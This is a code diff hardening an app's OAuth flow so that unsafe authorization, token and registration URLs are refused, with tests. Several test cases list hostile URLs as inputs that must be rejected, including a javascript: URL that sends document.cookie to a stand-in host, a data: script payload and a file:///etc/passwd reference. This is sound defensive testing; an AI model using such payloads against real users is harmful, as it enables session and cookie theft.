@@ -4348,7 +4495,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
scopes,
authorizationUrl: configuredAuthorizationUrl,
tokenUrl: configuredTokenUrl,
registrationUrl: typeof oauth.registrationUrl === "string" ? oauth.registrationUrl : null,
registrationUrl: safeOAuthEndpointUrl("registration", oauth.registrationUrl, rejections, firstPartyOrigin),
codeChallengeMethodsSupported: normalizeOauthScopes(oauth.codeChallengeMethodsSupported),
tokenEndpointAuthMethodsSupported: normalizeOauthScopes(oauth.tokenEndpointAuthMethodsSupported),
grantType,
@@ -4371,7 +4518,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
metadataCandidates.push(...wellKnownMetadataUrls(endpoint.toString()));
}
for (const metadataUrl of [...new Set(metadataCandidates)]) {
const endpoints = await endpointsFromMetadataUrl(connection, metadataUrl);
const endpoints = await endpointsFromMetadataUrl(connection, metadataUrl, rejections, firstPartyOrigin);
if (endpoints) {
return {
...endpoints,
@@ -4381,6 +4528,10 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
};
}
}
// Nothing usable was found *and* something was refused on the way: report the
// refusal rather than the generic "does not advertise OAuth sign in", so the
// operator learns the server offered an unsafe address.
if (rejections.length > 0) throw rejections[0];
return null;
}
@@ -4400,7 +4551,17 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
if (!authorizationUrl || !tokenUrl) {
throw unprocessable("OAuth provider endpoints are not configured for this app");
}
return { provider: app.slug, scopes: method.defaults?.scopesHint ?? [], authorizationUrl, tokenUrl, grantType: "authorization_code", metadataUrl };
// A gallery default is Paperclip's own data, but it is still a URL that ends
// up as a browser navigation, and the metadata branch above reads the same
// untrusted document a generic connection does. Both go through the gate.
return {
provider: app.slug,
scopes: method.defaults?.scopesHint ?? [],
authorizationUrl: assertOAuthEndpointUrl("authorization", authorizationUrl),
tokenUrl: assertOAuthEndpointUrl("token", tokenUrl),
grantType: "authorization_code",
metadataUrl,
};
}
async function oauthEndpointsForConnection(
@@ -4415,14 +4576,18 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
const hasCompleteGalleryEndpointHints = Boolean(
galleryMethod?.defaults?.authorizationEndpoint && galleryMethod.defaults.tokenEndpoint,
);
const discovered = connection.transport === "mcp_remote" && !hasCompleteGalleryEndpointHints
? await discoverOAuthEndpoints(connection, challenge)
// The smoke-lab fixture's endpoints are first-party and complete, so
// discovery is not just unnecessary there, it must not run: an unreachable
// fixture endpoint would fail the whole callback.
const firstPartyOrigin = originOf(redirectUri);
const discovered = !smokeLabEndpoints && connection.transport === "mcp_remote" && !hasCompleteGalleryEndpointHints
? await discoverOAuthEndpoints(connection, challenge, firstPartyOrigin)
: null;
const endpoints = smokeLabEndpoints
?? discovered
?? (galleryEntry && galleryMethod?.auth === "oauth"
? await oauthProviderEndpoints(galleryEntry, galleryMethod.key)
: await discoverOAuthEndpoints(connection, challenge));
: await discoverOAuthEndpoints(connection, challenge, firstPartyOrigin));
if (!endpoints) throw unprocessable("This app connection does not advertise OAuth sign in");
assertNotSmokeLabOAuthEndpoints(connection, endpoints);
return endpoints;
@@ -4619,7 +4784,7 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
// others apply native-client redirect rules without it.
application_type: "web",
};
const response = await fetchRemoteHttpUrl(input.endpoints.registrationUrl, {
const response = await fetchRemoteHttpUrl(assertOAuthEndpointUrl("registration", input.endpoints.registrationUrl), {
method: "POST",
headers: { "content-type": "application/json" },
body: JSON.stringify(requestedMetadata),
@@ -5031,7 +5196,15 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
// exchange) to this MCP server.
if (input.resource) body.set("resource", input.resource);
const response = await fetchRemoteHttpUrl(input.tokenUrl, {
// The token URL can come from a connection row written before the endpoint
// gate existed, so a client secret / authorization code never leaves
// Paperclip without re-checking the transport it would leave over.
const tokenUrl = assertOAuthEndpointUrl("token", input.tokenUrl, {
// Paperclip's own callback origin, so a first-party token endpoint keeps
// working on a deployment that is itself served over plaintext HTTP.
firstPartyOrigin: originOf(input.redirectUri),
});
const response = await fetchRemoteHttpUrl(tokenUrl, {
method: "POST",
headers: { "content-type": "application/x-www-form-urlencoded" },
body,
@@ -5674,7 +5847,13 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
} catch (error) {
if (!galleryEntry && error instanceof HttpError && asRecord(error.details).code === "oauth_challenge") {
const [oauthConnection] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionRow.id));
const endpoints = await discoverOAuthEndpoints(oauthConnection).catch(() => null);
const endpoints = await discoverOAuthEndpoints(oauthConnection).catch((discoveryError: unknown) => {
// "This server advertised an address Paperclip refuses to open" is a
// refusal, not a failed discovery: keep it instead of collapsing it
// into the generic sign-in-required error.
if (isOAuthEndpointRejection(discoveryError)) throw discoveryError;
return null;
});
if (!endpoints) throw error;
return {
connectionId: oauthConnection.id,
@@ -6195,7 +6374,15 @@ export function toolAccessService(db: Db, options: ToolAccessServiceOptions = {}
expiresAt,
});
const authorizationUrl = new URL(endpoints.authorizationUrl);
// Last gate before this URL becomes a top-level browser navigation. Every
// producer above already validates, so reaching a rejection here means a new
// path was added without one — fail closed rather than hand the board an
// unvetted target.
const authorizationUrl = new URL(assertOAuthEndpointUrl("authorization", endpoints.authorizationUrl, {
// Paperclip's own callback origin: a first-party authorization endpoint is
// served however this deployment is served, plaintext LAN host included.
firstPartyOrigin: originOf(input.redirectUri),
}));
authorizationUrl.searchParams.set("response_type", "code");
authorizationUrl.searchParams.set("client_id", client.clientId);
authorizationUrl.searchParams.set("redirect_uri", input.redirectUri);
+62
View File
@@ -0,0 +1,62 @@
// @vitest-environment jsdom
import { afterEach, describe, expect, it } from "vitest";
import { resolveAuthorizationTarget } from "./authorizationUrl";
/**
* PAP-17099 — the board's own copy of the endpoint gate. The shared validator is
* tested exhaustively in `@paperclipai/shared`; what matters here is that the
* board applies it, and that its loopback exception follows how the board itself
* is served rather than being unconditional.
*/
function serveBoardOver(protocol: "http:" | "https:") {
Object.defineProperty(window, "location", {
configurable: true,
value: { ...window.location, protocol },
});
}
describe("resolveAuthorizationTarget", () => {
afterEach(() => {
// jsdom's default is a plaintext localhost board.
serveBoardOver("http:");
});
it("accepts an https authorization page and reports its host", () => {
expect(resolveAuthorizationTarget("https://auth.example.test/authorize?state=abc")).toEqual({
ok: true,
url: "https://auth.example.test/authorize?state=abc",
host: "auth.example.test",
});
});
it.each([
"javascript:fetch('https://evil.test/'+document.cookie)",
"data:text/html,<script>alert(document.domain)</script>",
"file:///etc/passwd",
"http://evil.test/authorize",
"https://auth.example.test@evil.test/authorize",
"https://auth.example.test/authorize#@evil.test",
"not-a-url",
"",
null,
undefined,
])("refuses %s with a message that does not echo it", (value) => {
const target = resolveAuthorizationTarget(value);
expect(target.ok).toBe(false);
if (target.ok) return;
expect(target.message.length).toBeGreaterThan(0);
if (value) expect(target.message).not.toContain(value);
});
it("allows a loopback authorization server only on a plaintext-http board", () => {
serveBoardOver("http:");
expect(resolveAuthorizationTarget("http://127.0.0.1:8930/authorize").ok).toBe(true);
serveBoardOver("https:");
expect(resolveAuthorizationTarget("http://127.0.0.1:8930/authorize")).toEqual({
ok: false,
message: expect.stringContaining("secure"),
});
expect(resolveAuthorizationTarget("https://auth.example.test/authorize").ok).toBe(true);
});
});
+30
View File
@@ -0,0 +1,30 @@
import { checkOAuthEndpointUrl, oauthEndpointUrlRejectionMessage } from "@paperclipai/shared";
export type AuthorizationTarget =
| { ok: true; url: string; host: string }
| { ok: false; message: string };
/**
* Vet an authorization URL before it becomes a top-level navigation (PAP-17099).
*
* The server already refuses to hand out an unsafe endpoint, but this is the
* boundary where a bad value would actually execute — `window.location.assign`
* on a `javascript:` URL runs script in the board's origin — so the board checks
* the same rules with the same shared validator rather than trusting the
* response body it just received.
*/
export function resolveAuthorizationTarget(value: string | null | undefined): AuthorizationTarget {
const servedOverHttp = typeof window !== "undefined" && window.location.protocol === "http:";
const check = checkOAuthEndpointUrl(value ?? null, {
// A board served over plaintext HTTP is a local-development board, where a
// loopback authorization server is exactly what someone is testing against.
// A board served over HTTPS requires HTTPS.
allowInsecureLoopback: servedOverHttp,
// Paperclip's own origin: a first-party authorization endpoint (the smoke-lab
// fixture) is served however the board is, and going to the page you are
// already on adds no exposure.
allowInsecureOrigins: typeof window !== "undefined" ? [window.location.origin] : [],
});
if (check.ok) return { ok: true, url: check.url, host: check.host };
return { ok: false, message: oauthEndpointUrlRejectionMessage("authorization", check.reason) };
}
+45 -3
View File
@@ -88,8 +88,9 @@ vi.mock("@/context/BreadcrumbContext", () => ({
useBreadcrumbs: () => ({ setBreadcrumbs: vi.fn() }),
}));
const pushToastMock = vi.hoisted(() => vi.fn());
vi.mock("@/context/ToastContext", () => ({
useToast: () => ({ pushToast: vi.fn() }),
useToast: () => ({ pushToast: pushToastMock }),
}));
// eslint-disable-next-line @typescript-eslint/no-explicit-any
@@ -244,7 +245,7 @@ describe("AppDetail", () => {
startOAuthMock.mockResolvedValue({
connectionId: "conn-1",
provider: "smoke_lab",
authorizationUrl: "http://example.test/oauth",
authorizationUrl: "https://example.test/oauth",
expiresAt: "2026-07-10T00:00:00.000Z",
});
});
@@ -795,6 +796,47 @@ describe("AppDetail", () => {
await flushReact();
expect(startOAuthMock).toHaveBeenCalledWith("conn-1");
expect(navigateTopLevelMock).toHaveBeenCalledWith("http://example.test/oauth");
expect(navigateTopLevelMock).toHaveBeenCalledWith("https://example.test/oauth");
});
/**
* PAP-17099 — the server refuses to hand out an unsafe authorization endpoint,
* but this is the boundary where one would actually execute, so the board must
* refuse it independently of what the response body says.
*/
it.each([
["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"],
["data:", "data:text/html,<script>alert(document.domain)</script>"],
["file:", "file:///etc/passwd"],
["plaintext http", "http://evil.test/authorize"],
["credentials", "https://accounts.example.test@evil.test/authorize"],
])("never navigates to a %s authorization url", async (_label, authorizationUrl) => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
authKind: "oauth",
healthStatus: "failed",
healthMessage: "Authorization expired (invalid_grant).",
}));
startOAuthMock.mockResolvedValue({
connectionId: "conn-1",
provider: "generic",
authorizationUrl,
expiresAt: "2026-07-10T00:00:00.000Z",
});
await renderAppDetail();
await act(async () => {
Array.from(container.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === "Reconnect")
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(navigateTopLevelMock).not.toHaveBeenCalled();
expect(pushToastMock).toHaveBeenCalledWith(expect.objectContaining({ tone: "error" }));
// The refusal explains itself without echoing the hostile URL back into the DOM.
const body = String(pushToastMock.mock.calls.at(-1)?.[0]?.body ?? "");
expect(body.length).toBeGreaterThan(0);
expect(body).not.toContain(authorizationUrl);
});
});
+9 -1
View File
@@ -22,6 +22,7 @@ import { accessApi } from "@/api/access";
import { authApi } from "@/api/auth";
import { buildCompanyUserLabelMap } from "@/lib/company-members";
import { installPayload, installStateFrom, type InstallState } from "@/lib/tool-installs";
import { resolveAuthorizationTarget } from "@/lib/authorizationUrl";
import { navigateTopLevel } from "@/lib/browserNavigation";
import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input";
@@ -246,7 +247,14 @@ export function AppDetail() {
const startOAuth = useMutation({
mutationFn: () => toolsApi.startOAuth(connectionId),
onSuccess: ({ authorizationUrl }) => {
navigateTopLevel(authorizationUrl);
// Checked again at the navigation boundary (PAP-17099): the address came
// from the remote server, and this is where an unsafe scheme would run.
const target = resolveAuthorizationTarget(authorizationUrl);
if (!target.ok) {
pushToast({ title: "Couldn't start sign-in", body: target.message, tone: "error" });
return;
}
navigateTopLevel(target.url);
},
onError: (error) =>
pushToast({
+73
View File
@@ -1259,6 +1259,79 @@ describe("AppsConnect — guided generic MCP flow (PAP-17087)", () => {
await flushReact();
expect(navigateTopLevelMock).toHaveBeenCalledWith("https://auth.example.test/authorize?state=abc");
// Residual risk of a real-but-hostile authorization page: name the host the
// operator is being handed to (PAP-17099).
expect(container.textContent).toContain("auth.example.test");
});
/**
* PAP-17099 — a generic MCP server picks its own authorization endpoint, and
* `window.location.assign` is where an unsafe scheme would actually execute.
* The board refuses independently of the API response.
*/
describe("unsafe authorization urls", () => {
const UNSAFE = [
["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"],
["data:", "data:text/html,<script>alert(document.domain)</script>"],
["file:", "file:///etc/passwd"],
["plaintext http", "http://evil.test/authorize"],
["credentials", "https://auth.example.test@evil.test/authorize"],
] as const;
it.each(UNSAFE)("never opens a %s start url from connect", async (_label, startUrl) => {
connectAppMock.mockResolvedValue({
connectionId: "conn-1",
application: { id: "app-1", name: "mcp.example.test" },
actions: { readOnly: [], canMakeChanges: [] },
catalog: [],
suggestedDefaults: {},
auth: { kind: "oauth", startUrl },
});
await render();
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
await act(async () => {
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
await flushReact();
expect(navigateTopLevelMock).not.toHaveBeenCalled();
expect(container.textContent).toContain("couldn’t connect");
// The refusal is explained without echoing the hostile address on screen.
expect(container.textContent).not.toContain(startUrl);
expect(container.textContent).toMatch(/sign-in address/);
});
it.each(UNSAFE)("never opens a %s authorization url from start sign-in", async (_label, authorizationUrl) => {
connectAppMock.mockResolvedValue({
connectionId: "conn-1",
application: { id: "app-1", name: "mcp.example.test" },
actions: { readOnly: [], canMakeChanges: [] },
catalog: [],
suggestedDefaults: {},
auth: { kind: "oauth", startUrl: null },
});
startOAuthMock.mockResolvedValue({
connectionId: "conn-1",
provider: "mcp_example_test",
authorizationUrl,
expiresAt: "2099-01-01T00:00:00.000Z",
});
await render();
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
await act(async () => {
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
await flushReact();
expect(startOAuthMock).toHaveBeenCalledWith("conn-1");
expect(navigateTopLevelMock).not.toHaveBeenCalled();
expect(container.textContent).toContain("couldn’t connect");
expect(container.textContent).not.toContain(authorizationUrl);
// Retry is still offered rather than a dead end.
expect(buttonByText("Try again")).toBeTruthy();
});
});
it("asks for a preregistered client rather than losing the draft", async () => {
+34 -3
View File
@@ -47,6 +47,7 @@ import { ToggleSwitch } from "@/components/ui/toggle-switch";
import { Skeleton } from "@/components/ui/skeleton";
import { cn } from "@/lib/utils";
import { copyTextToClipboard } from "@/lib/clipboard";
import { resolveAuthorizationTarget } from "@/lib/authorizationUrl";
import { navigateTopLevel } from "@/lib/browserNavigation";
import { AppLogo } from "./AppLogo";
import { appSourceConnectHref, isMcpDirectOAuthConnectSlug } from "./app-connect-policy";
@@ -211,6 +212,8 @@ export function AppsConnect() {
const [installAgentIds, setInstallAgentIds] = useState<Set<string>>(new Set());
const [oauthPhase, setOAuthPhase] = useState<OAuthConnectPhase>("entry");
const [oauthError, setOAuthError] = useState<string | null>(null);
/** Host of the page the operator is about to be sent to, shown while redirecting. */
const [authorizationHost, setAuthorizationHost] = useState<string | null>(null);
const directOAuthStartedRef = useRef(false);
const directOAuthRetryingRef = useRef(false);
@@ -337,8 +340,17 @@ export function AppsConnect() {
const oauthStartMutation = useMutation({
mutationFn: (connectionId: string) => toolsApi.startOAuth(connectionId),
onSuccess: ({ authorizationUrl }) => {
// The endpoint chose this address, so it is checked here too — this is the
// line where an unsafe scheme would actually run (PAP-17099).
const target = resolveAuthorizationTarget(authorizationUrl);
if (!target.ok) {
setOAuthPhase("error");
setOAuthError(target.message);
return;
}
setAuthorizationHost(target.host);
setOAuthPhase("redirecting");
navigateTopLevel(authorizationUrl);
navigateTopLevel(target.url);
},
onError: (error) => {
const details = error instanceof ApiError && error.body && typeof error.body === "object"
@@ -409,9 +421,17 @@ export function AppsConnect() {
startOAuth(result.connectionId);
return;
}
const target = resolveAuthorizationTarget(startUrl);
if (!target.ok) {
setGenericOAuthPending(true);
setOAuthPhase("error");
setOAuthError(target.message);
return;
}
setAuthorizationHost(target.host);
setOAuthPhase("redirecting");
setGenericOAuthPending(true);
navigateTopLevel(startUrl);
navigateTopLevel(target.url);
return;
}
setLinkGuidance(null);
@@ -576,6 +596,7 @@ export function AppsConnect() {
entry={directOAuthEntry}
phase={oauthPhase}
error={oauthError}
authorizationHost={authorizationHost}
onRetry={async () => {
setOAuthError(null);
setOAuthPhase("starting");
@@ -633,6 +654,7 @@ export function AppsConnect() {
}}
phase={oauthPhase}
error={oauthError}
authorizationHost={authorizationHost}
onRetry={() => {
setOAuthError(null);
const connectionId = connectResult?.connectionId;
@@ -943,6 +965,7 @@ export function OAuthConnectStateScreen({
identity,
phase,
error,
authorizationHost,
onRetry,
onCancel,
}: {
@@ -952,6 +975,12 @@ export function OAuthConnectStateScreen({
identity?: { name: string; unverifiedHost: string | null };
phase: OAuthConnectPhase;
error?: string | null;
/**
* Host of the authorization page being opened. A valid HTTPS authorization
* page can still be a phishing page, so the operator sees exactly which host
* they are being handed to (PAP-17099).
*/
authorizationHost?: string | null;
onRetry: () => void;
onCancel: () => void;
}) {
@@ -970,7 +999,9 @@ export function OAuthConnectStateScreen({
: phase === "redirecting"
? {
title: `Opening ${serverName}`,
body: `Continue in ${serverName} to choose a workspace and approve access.`,
body: authorizationHost
? `Continue at ${authorizationHost} to choose a workspace and approve access. Only approve access if you recognize that address.`
: `Continue in ${serverName} to choose a workspace and approve access.`,
}
: {
title: `${serverName} couldn’t connect`,
+11 -1
View File
@@ -8,6 +8,7 @@ import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input";
import { useToast } from "@/context/ToastContext";
import { redactUrlSecrets } from "@/lib/redact-url-secrets";
import { resolveAuthorizationTarget } from "@/lib/authorizationUrl";
import { navigateTopLevel } from "@/lib/browserNavigation";
import type { AppDetailSectionProps } from "./types";
@@ -89,7 +90,16 @@ export function ReconnectCard({
const { pushToast } = useToast();
const reconnectOAuth = useMutation({
mutationFn: () => toolsApi.startOAuth(connection.id),
onSuccess: ({ authorizationUrl }) => navigateTopLevel(authorizationUrl),
onSuccess: ({ authorizationUrl }) => {
// Reconnect navigates to the same discovered address a fresh connect does,
// so it goes through the same gate (PAP-17099).
const target = resolveAuthorizationTarget(authorizationUrl);
if (!target.ok) {
pushToast({ title: "Couldn’t start sign-in", body: target.message, tone: "error" });
return;
}
navigateTopLevel(target.url);
},
onError: (error) =>
pushToast({
title: "Couldn’t start sign-in",